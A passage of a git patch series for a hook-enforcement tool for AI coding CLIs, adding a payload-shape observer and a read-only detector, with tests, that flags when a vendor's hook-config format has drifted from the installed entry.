than no test. + if (process.env.FAILPROOFAI_OBSERVE_FAULT === "throw") { + throw new Error("injected contract-observer fault"); + } + + if (!usableName(cli) || !usableName(hookEvent)) return; + if (stdin.length > MAX_PAYLOAD_BYTES) return; + + let payload: unknown; + try { + payload = JSON.parse(stdin); + } catch { + return; + } + if (!isPlainObject(payload)) return; + + const current = getTable(); + let changed = false; + + let record = current.clis[cli]; + if (!record) { + if (Object.keys(current.clis).length >= MAX_CLIS || approxBytes >= MAX_TABLE_BYTES) { + markTruncated(current); + maybeWrite(); + return; + } + record = { hooks: emptyMap() }; + current.clis[cli] = record; + approxBytes += cli.length + 24; + changed = true; + } + + let shape = record.hooks[hookEvent]; + if (!shape) { + if (Object.keys(record.hooks).length >= MAX_HOOKS_PER_CLI || approxBytes >= MAX_TABLE_BYTES) { + markTruncated(current); + maybeWrite(); + return; + } + shape = { envelope: [] }; + record.hooks[hookEvent] = shape; + approxBytes += hookEvent.length + 24; + changed = true; + } + + if (mergeKeys(shape.envelope, keyNamesOf(payload))) changed = true; + + const toolName = rawToolName(payload); + if (toolName) { + const tools = (shape.tools ??= emptyMap()); + let toolKeys = tools[toolName]; + if (!toolKeys) { + if (Object.keys(tools).length >= MAX_TOOLS_PER_HOOK || approxBytes >= MAX_TABLE_BYTES) { + markTruncated(current); + } else { + toolKeys = []; + tools[toolName] = toolKeys; + approxBytes += toolName.length + 8; + changed = true; + } + } + if (toolKeys && mergeKeys(toolKeys, keyNamesOf(rawToolInput(payload)))) changed = true; + } + + if (changed) dirty = true; + maybeWrite(); + maybeProbeVersion(cli); +} + +function maybeWrite(): void { + if (!dirty) return; + if (Date.now() - lastWriteMs < minWriteIntervalMs()) return; + try { + flushContractTable(); + } catch { + // A full or read-only disk must not make us retry on every single tool + // call. Back off one interval as if the write had succeeded, but leave + // `dirty` set so the observation is not lost if a later write succeeds. + lastWriteMs = Date.now(); + } +} + +/** + * Start a version probe when this CLI's version is stale, at most one in flight + * per CLI. `versionCheckedAt` advances even when the probe finds nothing, so an + * uninstalled CLI costs one failed lookup per interval rather than one per event. + */ +function maybeProbeVersion(cli: string): void { + if (!versionProbingEnabled()) return; + + const current = table; + if (!current) return; + const record = current.clis[cli]; + if (!record) return; + + const checkedAt = record.versionCheckedAt ? Date.parse(record.versionCheckedAt) : 0; + const checkedMs = Number.isFinite(checkedAt) ? Math.min(checkedAt, Date.now()) : 0; + if (Date.now() - checkedMs < versionMaxAgeMs()) return; + if (probesInFlight.has(cli)) return; + probesInFlight.add(cli); + + probeCliVersion(cli, (version) => { + probesInFlight.delete(cli); + const live = table?.clis[cli]; + if (!live) return; + live.versionCheckedAt = new Date().toISOString(); + if (version) live.version = version; + dirty = true; + // Write it out now rather than waiting for the next hook event. The worker + // is SIGKILLed, so "later" is frequently "never", and a probe that costs a + // fork and then persists nothing is the worst of both. + try { + flushContractTable(); + } catch { + // Recorded in memory; the next successful write picks it up. + } + }); +} + +/** Write the table now. Throws only if the filesystem does. */ +export function flushContractTable(): void { + const current = table; + if (!current) return; + current.updatedAt = new Date().toISOString(); + writeJsonAtomically(contractTableFile(), current); + lastWriteMs = Date.now(); + dirty = false; +} + +/** The in-memory table, for tests and for a future read-side command. */ +export function contractTableSnapshot(): ContractTable { + return getTable(); +} + +/** Drop all in-memory state. Tests only — the next call reloads from disk. */ +export function resetContractObserverForTests(): void { + table = null; + lastWriteMs = 0; + dirty = false; + approxBytes = 0; + probesInFlight.clear(); +} diff --git a/src/hooks/fp-home.ts b/src/hooks/fp-home.ts index a5e58d7c2..ba2e290d8 100644 --- a/src/hooks/fp-home.ts +++ b/src/hooks/fp-home.ts @@ -278,6 +278,18 @@ export const auditMachineFile = (home?: string) => resolve(auditDir(home), "mach /** The decision log: page-sized JSONL the dashboard's activity tab reads. */ export const hookActivityDir = (home?: string) => atHome(home, "hook-activity"); +// ── Observed vendor contracts ──────────────────────────────────────────────── + +/** + * What the agent CLIs actually send: per-CLI version and per-hook payload key + * names, accumulated by `contract-observer.ts`. + * + * Key names only, never values — see that module's header for why that is a + * structural property of the recorder rather than a convention. + */ +export const contractTableFile = (home?: string) => + atHome(home, "contracts", "observed.json"); + // ── Runtime ────────────────────────────────────────────────────────────────── /** Sockets and the singleton flock. Shallow on purpose — see the header note. */ @@ -567,6 +579,11 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da { path: launcherMarker, class: "derived" }, { path: onboardingLockFile, class: "derived" }, { path: onboardingAttemptFile, class: "derived" }, + // Observed vendor payload shapes. Derived rather than undelivered on purpose: + // it is a picture of what the CLIs on THIS machine are currently sending, and + // live traffic rebuilds it within a day. Dropping it costs a day of + // observation, never a fact nothing else holds. + { path: contractTableFile, class: "derived" }, // ── May be dropped: the server has it ── // Re-fetched and digest-verified on the next daemon poll. This is the whole diff --git a/src/hooks/worker-server.ts b/src/hooks/worker-server.ts index b01b35170..56246f28f 100644 --- a/src/hooks/worker-server.ts +++ b/src/hooks/worker-server.ts @@ -24,6 +24,7 @@ import { existsSync, unlinkSync } from "node:fs"; import { evaluateHookEvent } from "./handler"; import type { IntegrationType } from "./types"; import { hookLogWarn } from "./hook-logger"; +import { recordHookShape } from "./contract-observer"; const MAX_FRAME_LEN = 16 * 1024 * 1024; @@ -180,6 +181,19 @@ function handleConnection(socket: Socket, shutdown: () => void): void { enqueue(async () => { try { + // Diagnostic only, and guarded twice on purpose. The inner catch is + // the load-bearing one: without it a throw would reach the outer + // catch below, which answers the client with `{type:"error"}` — and + // daemon-client.ts treats that identically to an unreachable daemon, + // so a bug in a recorder would fail-closed DENY a legitimate tool + // call. Above the enqueue callback's `try` it would be worse still: + // no frame is written at all and the client burns its full 30s + // budget before denying. + try { + recordHookShape(request.cli, request.hookEvent, request.stdin); + } catch { + // Never let observation affect enforcement. + } const result = await evaluateHookEvent(request.hookEvent, request.cli, request.stdin, { awaitTelemetryFlush: false, // Normalised here so no consumer has to know the wire spells From f7b14dd362b7bddac9cad5cf0720c1a1c2ea64fb Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Mon, 17 Aug 2026 21:03:27 +0530 Subject: [PATCH 02/18] Detect when a vendor's hook-config format has drifted from what we installed MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Detection only — no repair, no daemon lane yet. This is the drift class that costs the most and shows the least: when a vendor changes the SHAPE of its hook config, our installed entry stops being valid and that CLI runs with no enforcement at all, silently. Five of the eleven incidents on record are this class (copilot 1.0.71's array->object, goose's `matcher:"*"` matching nothing, factory rejecting its own documented wrapper, pi's trust gate, grok). ## No schema file, deliberately The obvious design is a template per (cli, version). That would be a THIRD copy of something already stated in `writeHookEntries` and again on disk, and a third copy is a third thing that can drift. So the expectation is not data, it is the code: we regenerate via `writeHookEntries` into a second read of the user's own settings and ask "if you reinstalled right now, would this file change?" ## Three distinctions the live run forced `stale` vs `stale_path`. Run against this machine's twelve real user-scope configs, the first version reported pi as drifted. It was not: the detector ran from a repo checkout and regenerated OUR OWN install path differently from the global binary that wrote the file. Reporting that as drift makes every developer machine cry wolf, so a difference confined to string VALUES is now `stale_path` and never a finding; only a STRUCTURAL difference is `stale`. That is also the right cut, because the incidents that matter are structural. `unreadable` vs `stale`. A file our own writer throws on is reported unreadable, not stale, because repair runs that same writer — calling it stale would hand an auto-repair a file it cannot fix and let it fail on every attempt. `unsupported`. Regenerating is only safe while `writeHookEntries` is pure, and opencode's is NOT: it also generates its ~190-line plugin shim, because for that CLI the shim IS the install. Calling it from a read-only check rewrote this repo's own tracked `.opencode/plugins/failproofai.mjs` — the detector causing the exact class of damage it exists to find. Gated, and pinned by a test that asserts which writers touch disk across all twelve, so a new side effect fails loudly rather than quietly rewriting someone's files. Dogfood configs are recognised and never claimed: they carry the same `__failproofai_hook__` marker a real install does, so any marker-keyed check claims them, and regenerating one rewrites `node scripts/dev-hook.mjs` into `npx -y failproofai` — pointing enforcement at the published package while the tree is being edited. A test runs the detector over this repo for real. Reports carry the error CLASS only, never messages, which can quote file contents. ## Deferred with the reason recorded in place `writeJsonFile` stays non-atomic for now. Making it atomic is ~15 lines but changes what the install path observably calls, and eight assertions in manager.test.ts check `writeFileSync` received the settings path. That is a deliberate change to the install path and belongs with the repair work that needs it, not smuggled in beside a read-only detector. 20 tests. Full unit suite green apart from three fp-reset cases that fail identically on clean main (they probe daemon state and this box now runs a real daemon). Co-Authored-By: Claude Opus 5 (1M context) --- __tests__/hooks/config-drift.test.ts | 330 +++++++++++++++++++++++++++ src/hooks/config-drift.ts | 288 +++++++++++++++++++++++ src/hooks/integrations.ts | 16 ++ src/hooks/manager.ts | 2 +- 4 files changed, 635 insertions(+), 1 deletion(-) create mode 100644 __tests__/hooks/config-drift.test.ts create mode 100644 src/hooks/config-drift.ts diff --git a/__tests__/hooks/config-drift.test.ts b/__tests__/hooks/config-drift.test.ts new file mode 100644 index 000000000..b9d2975df --- /dev/null +++ b/__tests__/hooks/config-drift.test.ts @@ -0,0 +1,330 @@ +// @vitest-environment node +/** + * The config-drift detector answers one question — "if you reinstalled right + * now, would this file change?" — so most of what matters here is what it must + * NOT say: not "ok" for a file it could not read, not "stale" for a file that + * is merely key-ordered differently, and never anything at all about this + * repo's own dogfood configs, which carry the same marker a real install does. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { + mkdtempSync, + rmSync, + readFileSync, + writeFileSync, + mkdirSync, + readdirSync, + statSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { + detectConfigDrift, + driftFindings, + isDogfoodCommand, + type ConfigDriftReport, +} from "../../src/hooks/config-drift"; +import { claudeCode, getIntegration } from "../../src/hooks/integrations"; +import { INTEGRATION_TYPES } from "../../src/hooks/types"; + +let cwd: string; +const BINARY = "/usr/bin/failproofai"; + +/** Install claude project-scope hooks into the temp cwd, the way the CLI does. */ +function install(binaryPath = BINARY): string { + const path = claudeCode.getSettingsPath("project", cwd); + const settings = claudeCode.readSettings(path); + claudeCode.writeHookEntries(settings, binaryPath, "project"); + claudeCode.writeSettings(path, settings); + return path; +} + +function detect(): ConfigDriftReport[] { + return detectConfigDrift({ clis: ["claude"], scopes: ["project"], cwd }); +} + +function statusOf(): string { + const reports = detect(); + expect(reports).toHaveLength(1); + return reports[0].status; +} + +function readSettingsFile(path: string): Record { + return JSON.parse(readFileSync(path, "utf8")) as Record; +} + +beforeEach(() => { + cwd = mkdtempSync(join(tmpdir(), "fpai-config-drift-")); + process.env.FAILPROOFAI_BINARY_OVERRIDE = BINARY; +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_BINARY_OVERRIDE; + rmSync(cwd, { recursive: true, force: true }); +}); + +describe("config-drift: the healthy cases", () => { + it("reports absent when there is no settings file at all", () => { + expect(statusOf()).toBe("absent"); + }); + + it("reports absent when the file exists but holds no failproofai entry", () => { + const path = claudeCode.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, JSON.stringify({ permissions: { allow: ["WebSearch"] } }, null, 2)); + expect(statusOf()).toBe("absent"); + }); + + it("reports ok immediately after a real install", () => { + install(); + expect(statusOf()).toBe("ok"); + }); + + it("reports ok when the file is key-ordered differently", () => { + // `writeHookEntries` mutates in place, so a regenerated object can carry + // identical content with keys in another order. A raw JSON.stringify + // comparison would call that drift and send someone chasing a correct file. + const path = install(); + const settings = readSettingsFile(path); + const reordered = Object.fromEntries(Object.entries(settings).reverse()); + writeFileSync(path, JSON.stringify(reordered, null, 2)); + expect(statusOf()).toBe("ok"); + }); + + it("reports ok when the user has their own unrelated settings alongside ours", () => { + const path = install(); + const settings = readSettingsFile(path); + settings.permissions = { allow: ["WebSearch"] }; + settings.model = "opus"; + writeFileSync(path, JSON.stringify(settings, null, 2)); + expect(statusOf()).toBe("ok"); + }); +}); + +describe("config-drift: the cases worth paging about", () => { + it("reports stale when an event we install is missing from the file", () => { + // The shape of a vendor dropping or renaming an event, or of a hand-edit. + const path = install(); + const settings = readSettingsFile(path); + const hooks = settings.hooks as Record; + delete hooks.PreToolUse; + writeFileSync(path, JSON.stringify(settings, null, 2)); + expect(statusOf()).toBe("stale"); + }); + + it("reports stale when a field's TYPE changes, the way a timeout unit switch would", () => { + // Vendors disagree about this field already — copilot spells it + // `timeoutSec`, everyone else `timeout` — so a type or unit switch is a + // live class, and it is structural rather than a value difference. + const path = install(); + const settings = readSettingsFile(path); + const groups = (settings.hooks as Record> }>>) + .PreToolUse; + groups[0].hooks[0].timeout = "60s"; + writeFileSync(path, JSON.stringify(settings, null, 2)); + expect(statusOf()).toBe("stale"); + }); + + it("reports unreadable, not stale, when our own writer cannot process the file", () => { + // `hooks.PreToolUse` as an object rather than an array makes + // `writeHookEntries` throw. That matters for the CONSUMER: repair runs the + // same writer, so it would throw too. Calling this `stale` would hand an + // auto-repair a file it cannot fix and let it fail on every attempt; a + // human has to look. + const path = install(); + const settings = readSettingsFile(path); + (settings.hooks as Record).PreToolUse = { matcher: "*", hooks: [] }; + writeFileSync(path, JSON.stringify(settings, null, 2)); + expect(statusOf()).toBe("unreadable"); + }); + + it("distinguishes a value-only difference from a shape change", () => { + // Found live: the detector run from a repo checkout regenerates OUR OWN + // install path differently from the global binary that wrote the file, and + // reporting that as drift makes every developer machine cry wolf. + const path = install(); + const raw = readFileSync(path, "utf8").replace( + "npx -y failproofai --hook PreToolUse", + "npx -y failproofai@0.0.15 --hook PreToolUse", + ); + writeFileSync(path, raw); + expect(statusOf()).toBe("stale_path"); + }); + + it("reports unreadable rather than ok for a corrupt file", () => { + // `readJsonFile` throws on a hand-edited or truncated file. Reporting "ok" + // there is the comfortable lie. + const path = claudeCode.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, "{ not json at all"); + expect(statusOf()).toBe("unreadable"); + }); + + it("reports the error CLASS only, never the file's contents", () => { + const path = claudeCode.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, '{ "apiKey": "sk-SECRETVALUE", oops'); + const report = detect()[0]; + expect(report.status).toBe("unreadable"); + expect(JSON.stringify(report)).not.toContain("SECRETVALUE"); + }); +}); + +describe("config-drift: this repo's own dogfood configs", () => { + it("never claims a config routed through the dev launcher", () => { + // These carry the same `__failproofai_hook__` marker a real install does, + // so every marker-keyed check claims them. Regenerating one rewrites + // `node scripts/dev-hook.mjs` into `npx -y failproofai`, pointing + // enforcement at the PUBLISHED package while the tree is being edited. + const path = claudeCode.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync( + path, + JSON.stringify({ + hooks: { + PreToolUse: [ + { + hooks: [ + { + type: "command", + command: + 'command -v node >/dev/null 2>&1 || { exit 2; }; node "$CLAUDE_PROJECT_DIR/scripts/dev-hook.mjs" --hook PreToolUse', + timeout: 60, + __failproofai_hook__: true, + }, + ], + }, + ], + }, + }), + ); + expect(statusOf()).toBe("dogfood"); + }); + + it("recognises the dev launcher by command", () => { + expect(isDogfoodCommand('node "$CLAUDE_PROJECT_DIR/scripts/dev-hook.mjs" --hook Stop')).toBe(true); + expect(isDogfoodCommand("npx -y failproofai --hook Stop")).toBe(false); + expect(isDogfoodCommand("")).toBe(false); + }); + + it("leaves this repo's real dogfood configs alone", () => { + // Run the detector against the actual repo rather than a fixture: if the + // guard ever regresses, these report `stale` and something downstream + // would "repair" files CLAUDE.md forbids touching. + const reports = detectConfigDrift({ scopes: ["project"], cwd: process.cwd() }); + for (const r of reports) { + expect(["dogfood", "absent", "ok", "stale_path", "unsupported"]).toContain(r.status); + } + }); +}); + +describe("config-drift: it must never WRITE", () => { + /** Every file under a tree, with size and mtime — enough to catch any write. */ + function snapshot(root: string): string { + const out: string[] = []; + const walk = (dir: string) => { + let entries: string[]; + try { + entries = readdirSync(dir); + } catch { + return; + } + for (const name of entries.sort()) { + const full = join(dir, name); + const st = statSync(full); + if (st.isDirectory()) walk(full); + else out.push(`${full}:${st.size}:${st.mtimeMs}`); + } + }; + walk(root); + return out.join("\n"); + } + + it("pins exactly which writers touch disk, for all twelve", () => { + // The detector regenerates via `writeHookEntries` to compare, which is only + // safe while that call is pure. OpenCode's is NOT: it also generates its + // ~190-line plugin shim, because for that CLI the shim IS the install. + // Calling it from a read-only check rewrote this repo's own tracked + // `.opencode/plugins/failproofai.mjs`. + // + // Asserted against the writers directly rather than through + // detectConfigDrift, so it cannot pass vacuously: a new integration that + // grows a side effect fails here and must be added to the gate. + const impure: string[] = []; + for (const cli of INTEGRATION_TYPES) { + let integration: ReturnType; + try { + integration = getIntegration(cli); + } catch { + continue; + } + const scope = integration.scopes.includes("project") ? "project" : integration.scopes[0]; + const sandbox = mkdtempSync(join(tmpdir(), `fpai-purity-${cli}-`)); + const prevCwd = process.cwd(); + const prevHome = process.env.HOME; + try { + // OpenCode derives its shim path from cwd/HOME, so both must point + // somewhere disposable or this test writes into the real repo. + process.chdir(sandbox); + process.env.HOME = sandbox; + const before = snapshot(sandbox); + try { + const settings = integration.readSettings(integration.getSettingsPath(scope, sandbox)); + integration.writeHookEntries(settings, BINARY, scope); + } catch { + // A writer that throws here is not a purity question. + } + if (snapshot(sandbox) !== before) impure.push(cli); + } finally { + process.chdir(prevCwd); + if (prevHome === undefined) delete process.env.HOME; + else process.env.HOME = prevHome; + rmSync(sandbox, { recursive: true, force: true }); + } + } + expect(impure).toEqual(["opencode"]); + }); + + it("refuses to guess for an integration it cannot regenerate purely", () => { + const path = join(cwd, "opencode.json"); + writeFileSync(path, JSON.stringify({ plugin: ["./x"] })); + const reports = detectConfigDrift({ clis: ["opencode"], cwd }); + for (const r of reports) expect(["unsupported", "absent"]).toContain(r.status); + }); +}); + +describe("config-drift: it must never throw", () => { + it("survives a settings path that is a directory", () => { + const path = claudeCode.getSettingsPath("project", cwd); + mkdirSync(path, { recursive: true }); + expect(() => detect()).not.toThrow(); + expect(statusOf()).toBe("unreadable"); + }); + + it("returns nothing rather than guessing when the binary cannot be resolved", () => { + // Regenerating with a guessed path would manufacture drift on every + // machine, which is worse than reporting nothing. + install(); + process.env.FAILPROOFAI_BINARY_OVERRIDE = ""; + process.env.PATH = ""; + expect(() => detectConfigDrift({ clis: ["claude"], scopes: ["project"], cwd })).not.toThrow(); + }); + + it("scans every CLI without throwing on the ones that are not installed", () => { + expect(() => detectConfigDrift({ cwd })).not.toThrow(); + }); +}); + +describe("driftFindings", () => { + it("surfaces only what a human should act on", () => { + const reports: ConfigDriftReport[] = [ + { cli: "claude", scope: "project", settingsPath: "/a", status: "ok" }, + { cli: "codex", scope: "user", settingsPath: "/b", status: "absent" }, + { cli: "copilot", scope: "user", settingsPath: "/c", status: "stale" }, + { cli: "goose", scope: "user", settingsPath: "/d", status: "unreadable" }, + { cli: "cursor", scope: "project", settingsPath: "/e", status: "dogfood" }, + { cli: "pi", scope: "user", settingsPath: "/f", status: "stale_path" }, + ]; + expect(driftFindings(reports).map((r) => r.cli)).toEqual(["copilot", "goose"]); + }); +}); diff --git a/src/hooks/config-drift.ts b/src/hooks/config-drift.ts new file mode 100644 index 000000000..f34c71c71 --- /dev/null +++ b/src/hooks/config-drift.ts @@ -0,0 +1,288 @@ +/** + * Has a vendor's hook-config format moved out from under what we installed? + * + * This is the drift class that costs the most and shows the least. When a + * vendor changes the *shape* of its hook config, our installed entry stops + * being valid and the CLI runs with NO enforcement at all — not one policy + * degraded, every policy on that CLI, silently. Copilot 1.0.71 turned `hooks` + * from an array into an object and rejected older files wholesale; goose treats + * a `matcher: "*"` as an invalid regex matching nothing; droid rejects the + * wrapper its own published docs prescribed and says so only in a log nobody + * reads. Five of the eleven incidents on record are this class. + * + * ## Why there is no schema file here + * + * The obvious design is a template per (cli, version) describing the expected + * config shape. That would be a THIRD copy of something we already state twice — + * once in `writeHookEntries`, once in the file on disk — and a third copy is a + * third thing that can drift. So the expectation is not data: it is + * `writeHookEntries` itself, and the question this module asks is + * + * "if you reinstalled right now, would this file change?" + * + * We regenerate into a copy of the user's own settings and compare. A vendor + * format change lands in `writeHookEntries` when we fix it, so every machine + * that has not been reinstalled since then reports drift, with no schema to + * ship, no version table to maintain, and nothing that can disagree with the + * code because it *is* the code. + * + * ## What it deliberately cannot see + * + * A config the vendor rejects produces no hook events, and this module never + * learns that — it reads our file, not their behaviour. `hooksInstalledInSettings` + * has the same blind spot and returned `true` throughout both production + * incidents, because it reads our own marker out of our own file. Proving the + * vendor *accepted* a config needs an independent witness: either the vendor's + * own transcript, or a lab that drives the real CLI and checks a hook fired. + * This module answers a narrower question honestly rather than the whole one + * badly. + */ +import { existsSync } from "node:fs"; +import { getIntegration, settingsPathsFor } from "./integrations"; +import { resolveFailproofaiBinary } from "./manager"; +import { INTEGRATION_TYPES, type HookScope, type IntegrationType } from "./types"; + +/** What we found for one (cli, scope, settings file). */ +export type DriftStatus = + /** Our entry is present and byte-identical to what we would write today. */ + | "ok" + /** No failproofai entry in this file. Not installed here — not necessarily wrong. */ + | "absent" + /** Ours is there, but reinstalling would change the file's SHAPE: the format moved. */ + | "stale" + /** + * Structurally identical to what we would write; only string values differ — + * almost always our own install path. Informational, never a finding. + */ + | "stale_path" + /** The file could not be read or parsed. Never treated as "fine". */ + | "unreadable" + /** This repo's own dev configs. Never ours to rewrite — see `isDogfoodCommand`. */ + | "dogfood" + /** + * Regenerating this integration would touch the filesystem, so we refuse to + * ask. "We cannot tell" reported out loud beats a number we obtained by + * writing to a user's disk during a read-only check. + */ + | "unsupported"; + +export interface ConfigDriftReport { + cli: IntegrationType; + scope: HookScope; + settingsPath: string; + status: DriftStatus; + /** Present on `unreadable`; the error class, never the file's contents. */ + detail?: string; +} + +/** + * A command routing through this repo's dev launcher rather than an installed + * binary. + * + * These are the committed dogfood configs — `.claude/settings.json` and its ten + * siblings — and they carry the same `__failproofai_hook__` marker a real + * install does, so every marker-keyed check claims them. Regenerating one + * rewrites `node scripts/dev-hook.mjs` into `npx -y failproofai`, which points + * enforcement at the *published* package while the developer is editing the + * working tree: a silently wrong result, and the exact thing CLAUDE.md forbids + * doing by hand. `dogfood-configs.test.ts` fails loudly if it ever happens, + * which is the backstop rather than the guard. + */ +/** + * Integrations whose `writeHookEntries` is NOT pure. + * + * The whole detector rests on regenerating into a throwaway object and + * comparing, which assumes `writeHookEntries` only mutates what it is handed. + * OpenCode breaks that assumption: it also generates its ~190-line plugin shim + * on disk (`integrations.ts:1138`), because for that CLI the shim IS the + * installation. Calling it from a read-only check rewrote this repo's own + * tracked `.opencode/plugins/failproofai.mjs` — a detector causing the class of + * damage it exists to find. + * + * Kept as an explicit list rather than a guess, and backed by a test that + * asserts `detectConfigDrift` leaves the filesystem byte-identical, so a future + * integration that grows a side effect fails loudly instead of quietly + * rewriting someone's files. + */ +const IMPURE_REGENERATION: ReadonlySet = new Set(["opencode"]); + +export function isDogfoodCommand(command: string): boolean { + return command.includes("dev-hook.mjs"); +} + +function containsDogfood(value: unknown, depth = 0): boolean { + if (depth > 8) return false; + if (typeof value === "string") return isDogfoodCommand(value); + if (Array.isArray(value)) return value.some((v) => containsDogfood(v, depth + 1)); + if (value && typeof value === "object") { + return Object.values(value as Record).some((v) => containsDogfood(v, depth + 1)); + } + return false; +} + +/** + * Compare the installed file against what `writeHookEntries` would produce now. + * + * Regenerates into a SECOND read of the same file rather than a clone of the + * first, so per-integration normalisation in `readSettings` (copilot and cursor + * both inject `version: 1` when absent) lands on both sides and cannot show up + * as a phantom difference. + */ +function inspectOne( + cli: IntegrationType, + scope: HookScope, + settingsPath: string, + binaryPath: string, + cwd: string, +): ConfigDriftReport { + const integration = getIntegration(cli); + const base: Omit = { cli, scope, settingsPath }; + + if (!existsSync(settingsPath)) return { ...base, status: "absent" }; + if (IMPURE_REGENERATION.has(cli)) return { ...base, status: "unsupported" }; + + let current: Record; + let regenerated: Record; + try { + current = integration.readSettings(settingsPath); + regenerated = integration.readSettings(settingsPath); + } catch (err) { + // A hand-edited or truncated file. Reporting "ok" here would be the + // comfortable lie; reporting the class of failure lets someone act. + return { ...base, status: "unreadable", detail: errorClass(err) }; + } + + if (containsDogfood(current)) return { ...base, status: "dogfood" }; + + let installedHere: boolean; + try { + installedHere = integration.hooksInstalledInSettings(scope, cwd); + } catch { + installedHere = false; + } + if (!installedHere) return { ...base, status: "absent" }; + + try { + integration.writeHookEntries(regenerated, binaryPath, scope); + } catch (err) { + return { ...base, status: "unreadable", detail: errorClass(err) }; + } + + if (stableStringify(current) === stableStringify(regenerated)) return { ...base, status: "ok" }; + // Shape first. A difference confined to string VALUES is nearly always our + // own path — the detector running from a repo checkout while the global + // install wrote the file, or an install that moved. Reporting that as drift + // makes every developer machine cry wolf and buries the real thing. The + // incidents that matter are structural: copilot turning `hooks` from an array + // into an object, factory rejecting a wrapper, goose's matcher key appearing + // where it must not. + const shapeChanged = structuralSignature(current) !== structuralSignature(regenerated); + return { ...base, status: shapeChanged ? "stale" : "stale_path" }; +} + +/** Error CLASS only — never the message, which can quote file contents. */ +function errorClass(err: unknown): string { + if (err instanceof Error) { + const code = (err as NodeJS.ErrnoException).code; + return code ?? err.constructor.name; + } + return "unknown"; +} + +/** + * Key-order-independent serialisation. + * + * `writeHookEntries` mutates in place, so a regenerated object can carry the + * same content with keys in a different order. Comparing raw `JSON.stringify` + * would report that as drift and send someone chasing a file that is correct. + */ +function stableStringify(value: unknown): string { + if (Array.isArray(value)) return `[${value.map(stableStringify).join(",")}]`; + if (value && typeof value === "object") { + const entries = Object.entries(value as Record) + .sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0)) + .map(([k, v]) => `${JSON.stringify(k)}:${stableStringify(v)}`); + return `{${entries.join(",")}}`; + } + return JSON.stringify(value) ?? "null"; +} + +/** + * Keys, nesting and types — every string, number and boolean collapsed to a + * type token. Two files with the same signature differ only in values. + */ +function structuralSignature(value: unknown): string { + if (Array.isArray(value)) return `[${value.map(structuralSignature).join(",")}]`; + if (value && typeof value === "object") { + const entries = Object.entries(value as Record) + .sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0)) + .map(([k, v]) => `${JSON.stringify(k)}:${structuralSignature(v)}`); + return `{${entries.join(",")}}`; + } + return value === null ? "z" : typeof value === "string" ? "s" : typeof value === "number" ? "n" : "b"; +} + +export interface DetectOptions { + /** Restrict to these CLIs. Default: all of them. */ + clis?: readonly IntegrationType[]; + /** Restrict to these scopes. Default: every scope the integration supports. */ + scopes?: readonly HookScope[]; + /** Project-scope root. Default: the process cwd. */ + cwd?: string; +} + +/** + * Inspect every (cli, scope) pair and report what we found. + * + * Never throws: a single unreadable file or a broken integration must not hide + * the other eleven CLIs' results, because the whole point is finding the one + * that is quietly wrong. + */ +export function detectConfigDrift(opts: DetectOptions = {}): ConfigDriftReport[] { + const cwd = opts.cwd ?? process.cwd(); + const clis = opts.clis ?? INTEGRATION_TYPES; + + let binaryPath: string; + try { + binaryPath = resolveFailproofaiBinary(); + } catch { + // Without the binary path we cannot regenerate anything comparable, and a + // guess would manufacture drift on every machine. + return []; + } + + const out: ConfigDriftReport[] = []; + for (const cli of clis) { + let integration: ReturnType; + try { + integration = getIntegration(cli); + } catch { + continue; + } + const supported = integration.scopes; + const scopes = (opts.scopes ?? supported).filter((s: HookScope) => supported.includes(s)); + for (const scope of scopes) { + let paths: string[]; + try { + // Usually one; Hermes returns one per profile, and a missed profile + // runs unhooked in silence. + paths = settingsPathsFor(integration, scope, cwd); + } catch { + continue; + } + for (const settingsPath of paths) { + try { + out.push(inspectOne(cli, scope, settingsPath, binaryPath, cwd)); + } catch (err) { + out.push({ cli, scope, settingsPath, status: "unreadable", detail: errorClass(err) }); + } + } + } + } + return out; +} + +/** The reports worth showing a human: everything except a clean or absent one. */ +export function driftFindings(reports: readonly ConfigDriftReport[]): ConfigDriftReport[] { + return reports.filter((r) => r.status === "stale" || r.status === "unreadable"); +} diff --git a/src/hooks/integrations.ts b/src/hooks/integrations.ts index f809f61f8..7991bba26 100644 --- a/src/hooks/integrations.ts +++ b/src/hooks/integrations.ts @@ -57,6 +57,22 @@ function readJsonFile(path: string): Record { return JSON.parse(raw) as Record; } +/** + * NOT atomic, and that is a known gap rather than an oversight. + * + * A bare `writeFileSync` truncates before it rewrites, so a crash or a full + * disk mid-write leaves a user's `settings.json` empty or half-written — the + * vendor then rejects it and the session runs with NO enforcement, silently. + * Tolerable while every write follows a human typing `policies --install` and + * reading the output; NOT tolerable for an unattended repair on a headless box. + * + * Making it atomic (temp + rename, preserving mode) is ~15 lines, but it + * changes what the install path observably calls: eight assertions in + * `manager.test.ts` check `writeFileSync` received the settings path, and with + * a rename they must check the rename destination instead. That is a + * deliberate change to the install path and belongs with the repair work that + * needs it, not smuggled in beside a read-only detector. + */ function writeJsonFile(path: string, data: Record): void { mkdirSync(dirname(path), { recursive: true }); writeFileSync(path, JSON.stringify(data, null, 2) + "\n", "utf8"); diff --git a/src/hooks/manager.ts b/src/hooks/manager.ts index 2c9dd4cef..2a32a4b77 100644 --- a/src/hooks/manager.ts +++ b/src/hooks/manager.ts @@ -45,7 +45,7 @@ function scopeLabel(scope: HookScope): string { } } -function resolveFailproofaiBinary(): string { +export function resolveFailproofaiBinary(): string { // Test/CI override: lets E2E tests point at the in-tree bin/failproofai.mjs // without requiring `npm install -g` or `bun link`. const override = process.env.FAILPROOFAI_BINARY_OVERRIDE; From ab9396b81f757d8306ad42dd88051de463712d80 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 00:18:29 +0530 Subject: [PATCH 03/18] Repair a drifted CLI hook config, verify it, and roll back if it did not take MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rewrites configs `config-drift.ts` reports as `stale`. This is the 